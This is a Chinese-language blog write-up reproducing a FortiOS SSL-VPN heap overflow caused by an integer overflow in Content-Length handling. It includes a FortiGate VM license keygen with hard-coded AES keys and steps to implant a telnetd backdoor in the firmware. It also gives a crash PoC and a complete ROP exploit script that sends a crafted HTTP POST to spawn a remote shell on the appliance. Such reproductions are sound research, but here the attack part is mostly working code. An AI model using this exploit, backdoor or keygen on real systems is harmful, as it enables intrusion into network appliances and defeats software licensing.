foritos 溢出漏洞复现
获取vm和文件系统
环境搭建
把foritos.ovf导入vmware,默认账户是admin:空
配置网络
config system interface
edit port1
set mode static
set ip 192.168.18.99 255.255.255.0
end
#下面这个配置出网是为了gdbserver连接
config router static
edit 1
set device port1
set gateway 192.168.18.128
end
提取vmdk中的文件
mkdir /tmp/fos/
guestmount -a Fortios.vmdk -m /dev/sda1 --rw /tmp/fos/
mkdir /root/rootfs/
cp /tmp/fos/rootfs.gz /root/rootfs/rootfs.gz
cd /root/rootfs/
gunzip rootfs.gz > /dev/null 2>&1
cat rootfs | cpio -idmv > /dev/null 2>&1
rm rootfs
chroot . sbin/xz -d -k --check=sha256 bin.tar.xz > /dev/null 2>&1
chroot . sbin/ftar -xf bin.tar > /dev/null 2>&1
获取证书
这个本来是要自己通过ida来获取的,我这里先贴着博客,复现完后再来看看。
https://wzt.ac.cn/2023/03/02/fortigate_debug_env1/
证书获取脚本
"""
FortiGate keygen v1.1
Copyright (C) 2023 CataLpa
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
"""
import struct
import base64
from Crypto.Cipher import AES
lic_key_array = {
"SERIALNO": (0x73, 0x0),
"CERT": (0x73, 0x8),
"KEY": (0X73, 0x10),
"CERT2": (0X73, 0x18),
"KEY2": (0X73, 0x20),
"CREATEDATE": (0x73, 0x28),
"UUID": (0x73, 0x30),
"CONTRACT": (0x73, 0x38),
"USGFACTORY": (0x6e, 0x40),
"LENCFACTORY": (0x6e, 0x44),
"CARRIERFACTORY": (0x6e, 0x48),
"EXPIRY": (0x6e, 0x4c)
}
class License:
fixed_aes_key = b"\x4C\x7A\xD1\x3C\x95\x3E\xB5\xC1\x06\xDA\xFC\xC3\x90\xAE\x3E\xCB"
fixed_aes_iv = b"\x4C\x7A\xD1\x3C\x95\x3E\xB5\xC1\x06\xDA\xFC\xC3\x90\xAE\x3E\xCB"
fixed_rsa_header = b"\x78\x99\xBF\xA5\xEF\x56\xAA\x98\xC1\x0B\x87\x2E\x30\x8E\x54\xF9\x71\xAD\x13\xEA\xAA\xBC\xE2\x0C\xB3\xAE\x65\xAE\xF9\x0E\x9B\xD1\x88\xC7\xFE\xBC\x86\x65\xFE\xE7\x62\xDE\x43\x0B\x02\x15\x36\xC8\xC5\xCD\x0E\xB9\x01\x97\xCE\x82\x27\x0F\x69\x7F\x6A\x29\xEC\x1C"
rsa_header_length = len(fixed_rsa_header) # 4 bytes
aes_key = fixed_aes_iv + fixed_aes_key # 32 bytes iv + key
enc_data_length = None
enc_data = None
license_data = None
license_header = "-----BEGIN FGT VM LICENSE-----\r\n"
license_tail = "-----END FGT VM LICENSE-----\r\n"
def __init__(self, licensedata):
self.license_data = licensedata
def encrypt_data(self):
tmp_buf = b"\x00" * 4 + struct.pack("<I", 0x13A38693) + b"\x00" * 4 + self.license_data # append magic number
def encrypt(data, password, iv):
bs = 16
pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs).encode()
cipher = AES.new(password, AES.MODE_CBC, iv)
data = cipher.encrypt(pad(data))
return data
self.enc_data = encrypt(tmp_buf, self.aes_key[16:], self.aes_key[:16])
self.enc_data_length = len(self.enc_data)
def obj_to_license(self):
buf = b""
buf += struct.pack("<I", self.rsa_header_length)
buf += self.fixed_rsa_header
buf += struct.pack("<I", self.enc_data_length)
buf += self.enc_data
return base64.b64encode(buf)
class LicenseDataBlock:
key_name_length = None # 1 byte
key_name = None
key_flag = None # 1 byte, 's' for str or 'n' for num
key_value_length = None # 2 bytes
key_value = None
def __init__(self, keyname, keyvalue):
self.key_name_length = len(keyname)
self.key_name = keyname
self.key_value_length = len(keyvalue)
self.key_value = keyvalue
self.key_flag = lic_key_array.get(keyname)[0]
def obj_to_bin(self):
buf = b""
buf += struct.pack("<B", self.key_name_length)
buf += self.key_name.encode()
buf += struct.pack("<B", self.key_flag)
if self.key_flag == 0x73:
buf += struct.pack("<H", self.key_value_length)
buf += self.key_value.encode()
elif self.key_flag == 0x6e:
buf += struct.pack("<H", 4)
buf += struct.pack("<I", int(self.key_value))
return buf
if __name__ == "__main__":
license_data_list = [
LicenseDataBlock("SERIALNO", "FGVMPGLICENSEDTOCATALPA"),
LicenseDataBlock("CREATEDATE", "1696089600"),
LicenseDataBlock("USGFACTORY", "0"),
LicenseDataBlock("LENCFACTORY", "0"),
LicenseDataBlock("CARRIERFACTORY", "0"),
LicenseDataBlock("EXPIRY", "31536000"),
]
license_data = b""
for obj in license_data_list:
license_data += obj.obj_to_bin()
_lic = License(license_data)
_lic.encrypt_data()
raw_license = _lic.obj_to_license().decode()
n = 0
lic = ""
while True:
if n >= len(raw_license):
break
lic += raw_license[n:n + 64]
lic += "\r\n"
n += 64
with open("./License.lic", "w") as f:
f.write(_lic.license_header + lic + _lic.license_tail)
print("[+] Saved to ./License.lic")
配置网络环境和port2

进入后


然后点击应用





好了!
注入后门启动调试
patch文件init
文件:/bin/init
在main函数中有几处文件校验,校验不通过会调用dl_halt函数重启vm
patch前
patch后
把dl_halt的跳转patch掉就行。
注入后门和gdbserver
//gcc -g shell.c -static -o shellcode
#include <stdio.h>
int tcp_port = 22;
void shell() {
system("/bin/busybox ls", 0, 0);
system("/bin/busybox id", 0, 0);
system(
"/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 "
"-p 22",
0, 0);
system("/bin/busybox sh", 0, 0);
return;
}
int main(int argc, char const *argv[]) {
shell();
return 0;
}
这里开了两种连shell的方式这样方便后面调试。
然后把虚拟机foritos的vmdk挂载到ubuntu16上,就可以对磁盘进行修改了(踩了无数坑才想到的呜呜呜)
rootfs.gz打包工具
https://github.com/rrrrrrri/fgt-auto-repack
这个python只能传shell和busybox
修改版
# repack.py
import os
ORIGINAL = "./ori"
WORKING = "./working_temp"
BACKUP = "./backup"
def clean():
try:
os.system("sudo rm -rf %s" % WORKING)
except Exception as e:
print("Error: clean failed")
print(e)
exit(0)
def check_env():
try:
print("[*] Checking env")
if not os.path.isdir(ORIGINAL):
print("Error: missing directory \"%s\"" % ORIGINAL)
exit(0)
if not os.path.isfile("%s/rootfs.gz" % ORIGINAL):
print("Error: missing file \"%s/rootfs.gz\"" % ORIGINAL)
exit(0)
if not os.path.isfile("%s/busybox" % ORIGINAL):
print("Error: missing file \"busybox\"")
exit(0)
if not os.path.isfile("/bin/busybox"):
print("Error: missing file \"/bin/busybox\"")
exit(0)
os.mkdir(WORKING)
if not os.path.isdir(WORKING):
print("Error: cannot create directory \"%s\"" % WORKING)
exit(0)
os.mkdir(BACKUP)
if not os.path.isdir(BACKUP):
print("Error: cannot create directory \"%s\"" % BACKUP)
exit(0)
except Exception as e:
print("Error: %s" % e)
exit(0)
def unpack_rfs():
try:
print("[*] Unpacking rootfs.gz")
os.system("cp %s/rootfs.gz %s" % (ORIGINAL, WORKING))
os.system("cd %s && gzip -d ./rootfs.gz" % WORKING)
os.system("cd %s && sudo cpio -idm < ./rootfs" % WORKING)
if not os.path.isfile("%s/bin.tar.xz" % WORKING):
print("Error: unpack failed")
clean()
exit(0)
os.system("rm -rf %s/rootfs" % WORKING)
key_files = ["bin.tar.xz", "migadmin.tar.xz", "node-scripts.tar.xz", "usr.tar.xz"]
for _file in key_files:
os.system("sudo cp %s/%s %s/%s.tmpbak" % (WORKING, _file, WORKING, _file))
os.system("cd %s && sudo chroot . /sbin/xz --check=sha256 -d /%s" % (WORKING, _file))
os.system("cd %s && sudo chroot . /sbin/ftar -xf /%s" % (WORKING, _file[:-3]))
os.system("sudo rm -rf %s/%s" % (WORKING, _file[:-3]))
os.system("sudo mv %s/%s.tmpbak %s/%s" % (WORKING, _file, WORKING, _file))
except Exception as e:
print("Error: %s" % e)
exit(0)
def patch_init(): # TODO: Patch it manually for now!
try:
os.system("cp %s/bin/init ./" % WORKING)
print("[*] auto-patch is not supported in this version.")
print("[*] please patch \"./init\", disable rootfs check manually.\n And rename it \"./init.patched\"")
print("[*] input \"DONE\" when finish. Or \"EXIT\" to exit.")
while True:
_check = input()
if _check == "DONE":
if not os.path.isfile("./init.patched"):
print("Error: cannot find patched file")
clean()
exit(0)
return
elif _check == "EXIT":
exit(0)
else:
print("[!] Invalid input!")
except Exception as e:
print("Error: %s" % e)
exit(0)
def repack():
try:
print("[*] Repacking")
os.system("sudo mv %s/bin/init %s/" % (WORKING, BACKUP))
os.system("sudo mv %s/bin/smartctl %s/" % (WORKING, BACKUP))
os.system("sudo mv ./init.patched %s/bin/init" % WORKING)
os.system("gcc -g shell.c -static -o shellcode")
os.system("sudo cp ./shellcode %s/bin/smartctl" % WORKING)
os.system("sudo chmod 755 %s/bin/init %s/bin/smartctl" % (WORKING, WORKING))
os.system("sudo chown root:root %s/bin/init %s/bin/smartctl" % (WORKING, WORKING))
os.system("sudo cp %s/busybox %s/bin/busybox" % (ORIGINAL, WORKING))
os.system("sudo cp %s/gdbserver %s/bin/gdbserver" % (ORIGINAL, WORKING))
os.system("sudo chmod 777 %s/bin/busybox" % WORKING)
os.system("sudo chmod 777 %s/bin/gdbserver" % WORKING)
os.system("sudo rm -rf %s/bin/sh" % WORKING)
os.system("cd %s/bin && sudo ln -s /bin/busybox sh" % WORKING)
# os.chdir('%s' % WORKING)
# os.system("sudo chroot . /sbin/ftar -cf bin.tar ./bin")
# os.system("sudo rm -rf bin.tar.xz")
# os.system("sudo chroot . /sbin/xz --check=sha256 -e bin.tar")
# os.system("sudo rm -rf bin/")
# os.chdir("../")
os.system("cd %s && sudo sh -c 'find . | cpio -H newc -o > ../rootfs'" % WORKING)
os.system("sudo chmod 777 ./rootfs")
os.system("cat ./rootfs | gzip > ./rootfs.gz")
os.system("sudo rm -rf ./rootfs ./init ./shellcode")
except Exception as e:
print("Error: %s" % e)
exit(0)
if __name__ == "__main__":
print("FortiGate VM 7.2.x automatic repack script v0.2")
print("Author: CataLpa @ 20230704")
check_env()
unpack_rfs()
patch_init()
repack()
clean()
print("[+] Done!")
然后把打包好的rootfs.gz替换磁盘的。
用ubuntu16挂载foritos的vm磁盘进行修改
修改内核
修改foritgate虚拟机的vmx文件,添加调试
debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
debugStub.port.guest64 = "12345"
debugStub.listen.guest32 = "TRUE"
debugStub.listen.guest32.remote = "TRUE"
debugStub.port.guest32 = "12346"
然后ubuntu里gdb启动内核flatk文件的elf版。
gdb ./blgme
targate remote 192.168.1.103:12345 #这里的ip是你windows主机的ip!!!!,不是ubuntu的
#在虚拟机启动后连接
b *0xffffffff807ac117#这里是我们要去修改/sbininit就是内核启动的文件
c
patch string 0xFFFFFFFF808F3591 "/bin/init"#这个地址是ida里面查看的内核文件的字符串地址
patch byte 0xFFFFFFFF808F3591+9 0x00
c
进入vm登录后执行diagnose hardware smartctl即可拿到vm的shell。
调试
使用传入的gdbserver加gdb进行调试。
ps -ef | grep /bin/sslvpnd
gdbserver :23 -attach 189
复现
根据网上的cve说的是因为content_length发生整数溢出导致申请的堆块大小过小,而拷贝长度不变导致的堆溢出。
在ubuntu里解压rootfs的文件,然后gdb调试sslvpnd,连接foritos。
gdb ./sslvpnd
target remote 192.168.18.99:23
c
b 0x164E6B4#在call _memset下个断点方便调试
测试poc
perl -e 'print "A"x100000' > payload2
curl --data-binary @payload2 -H 'Content-Length: 2147483647' -vik 'https://192.168.121.138:10443/remote/login'

然后ida查看一下0x000000000164e6b9。发现报错地址就是call _memset。然后查看一下0x0000000001785ba2。
就可以找到pool_raclloc函数。
memset函数的a2参数为pool_raclloc的a2。
这里我们反推一下rsi由esi得到,esi的值为rax+1,而eax的值应该为我们输入的0x7fffffff,+1,实际rsi的值为0x80000000。然后作为_memset的第三个参数,但是这里+1后,的实际符号位为1就是负数。这里就会触发整数溢出越界。
如果输入的是0x100000000,那么拓展后,rsi应该为0x0000000000000001。
然后我们构造一个Content-Length,目标是通过memset的时候足够小,并且在memcpy的时候足够大。
这里我构造的是0x1b00000000。这样通过memcpy的时候的大小就只有1了。
漏洞利用
我们可以通过查到
这里存在jmp rax。那我们就可以通过这个jmp rax把堆溢出转变为栈迁移的简单rop。
gadget获取
ROPgadget --binary binary --ropchain > gadgets.txt
cat gadget.txt| grep "push rdx"| grep "pop rsp"
不直接查找的原因是因为init太大了,容易被卡死,这样先输出到文本然后再查看。
由之前的调试可以得到,rdx存的是字符串的起始地址。那我们就可以直接打栈迁移和ret2text了。
payload = b"B"*2400
#payload += int_to_bytes(0x46bb37) + b"\x00"*5 # : pop rax ; ret
payload += p64(0x60b30e) # : pop rax ; pop rcx ; ret
payload += p64(0x58) # sell offset
payload += p64(0x2608366) #junk op, add r13, r8 ; ret
payload += p64(0x2608366) #junk op, add r13, r8 ; ret
payload += p64(0x2a0e1c0) # add rdx, rax ; mov eax, edx ; sub eax, edi ; ret
payload += p64(0x257016a) #push rdx; pop rdi; ret;
payload += p64(0x530c9e) # : pop rsi ; ret
payload += b"\x00"*8 # sell offset 0
payload += p64(0x509382)# : pop rdx ; ret
payload += b"\x00"*8 # sell offset 0
payload += p64(0x5693D5) # call system
payload += b"/bin/busybox telnetd -l /bin/sh -b 192.168.18.99 -p 22"+b"\x00"*8
raw = payload+b"A"*(2592-len(payload))
raw += p64(gadget1)
pop rax是用来存放system的字符串的地址偏移,pop rcx是用来弹出1的。
payload += p64(0x2608366) #junk op, add r13, r8 ; ret
payload += p64(0x2608366) #junk op, add r13, r8 ; ret
是用来进行栈平衡。然后add rdx,rax计算字符串地址并存到rdx。然后构造system,system的2,3参数要为空。0x000000000140583a : push rdx ; pop rsp ; add edi, edi ; nop ; ret,这个指令会让执行流到我们构造的rop。
exp
import socket
import ssl
from struct import pack
from pwn import *
def int_to_bytes(n, minlen=0):
""" Convert integer to bytearray with optional minimum length.
"""
if n > 0:
arr = []
while n:
n, rem = n >> 8, n & 0xff
arr.append(rem)
b = bytearray(arr)
elif n == 0:
b = bytearray(b'\x00')
else:
raise ValueError('Only non-negative values supported')
if minlen > 0 and len(b) < minlen: # zero padding needed?
b = (minlen-len(b)) * '\x00' + b
return b
path = "/remote/login".encode()
id = 0
while True:
print("#"+str(id))
#access mem addr 0x164e000 - 0x17a1fff
CL=0x1b00000000
# push rdx ; pop rsp ; add edi, edi ; nop ; ret
gadget1 = 0x000000000140583a
try:
payload = b"B"*2400
#payload += int_to_bytes(0x46bb37) + b"\x00"*5 # : pop rax ; ret
payload += p64(0x60b30e) # : pop rax ; pop rcx ; ret
payload += p64(0x58) # sell offset
payload += p64(0x2608366) #junk op, add r13, r8 ; ret
payload += p64(0x2608366) #junk op, add r13, r8 ; ret
payload += p64(0x2a0e1c0) # add rdx, rax ; mov eax, edx ; sub eax, edi ; ret
payload += p64(0x257016a) #push rdx; pop rdi; ret;
payload += p64(0x530c9e) # : pop rsi ; ret
payload += b"\x00"*8 # sell offset 0
payload += p64(0x509382)# : pop rdx ; ret
payload += b"\x00"*8 # sell offset 0
payload += p64(0x5693D5) # call system
payload += b"/bin/busybox telnetd -l /bin/sh -b 192.168.18.99 -p 22"+b"\x00"*8
raw = payload+b"A"*(2592-len(payload))
raw += p64(gadget1)
#raw += int_to_bytes(gadget2)
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.18.99\r\nContent-Length: " + str(int(CL)).encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n"+raw
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_socket.connect(("192.168.18.99", 1443))
_default_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
_socket = _default_context.wrap_socket(_socket)
_socket.sendall(data)
sleep(1)
_socket.sendall(b'ls')
res = _socket.recv(1024)
print(res)
#res = _socket.recv(1024)
#if b"HTTP/1.1" not in res:
# print("Error detected")
# print(CL)
# continue
except Exception as e:
pass
id+=1





浙公网安备 33010602011771号